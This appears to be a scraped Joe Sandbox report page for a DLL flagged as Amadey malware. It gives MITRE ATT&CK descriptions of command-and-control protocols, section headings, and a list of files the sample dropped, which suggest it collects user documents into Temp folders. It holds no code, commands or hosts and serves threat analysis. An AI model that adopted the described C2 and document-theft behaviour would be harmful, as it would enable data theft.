Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hoPazBDFG9.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Initial Sample

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip

C:\Users\user\AppData\Local\Temp\_Files_\GAOBCVIQIJ.docx

C:\Users\user\AppData\Local\Temp\_Files_\LSBIHQFDVT.docx

C:\Users\user\AppData\Local\Temp\_Files_\PWCCAWLGRE.xlsx

C:\Users\user\AppData\Local\Temp\_Files_\QNCYCDFIJJ.xlsx

C:\Users\user\AppData\Local\Temp\_Files_\ZQIXMVQGAH.docx

C:\Users\user\AppData\Local\Temp\_Files_\ZQIXMVQGAH.xlsx

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3b0bmv2l.hfn.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_asbrss25.zqs.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dyune5so.x15.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eqjxj5r1.lk0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ero0d5xz.2o2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pimznuzu.vr5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q1k4xpqs.wbl.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tgvpfkln.5ce.psm1

Windows Analysis Report
hoPazBDFG9.dll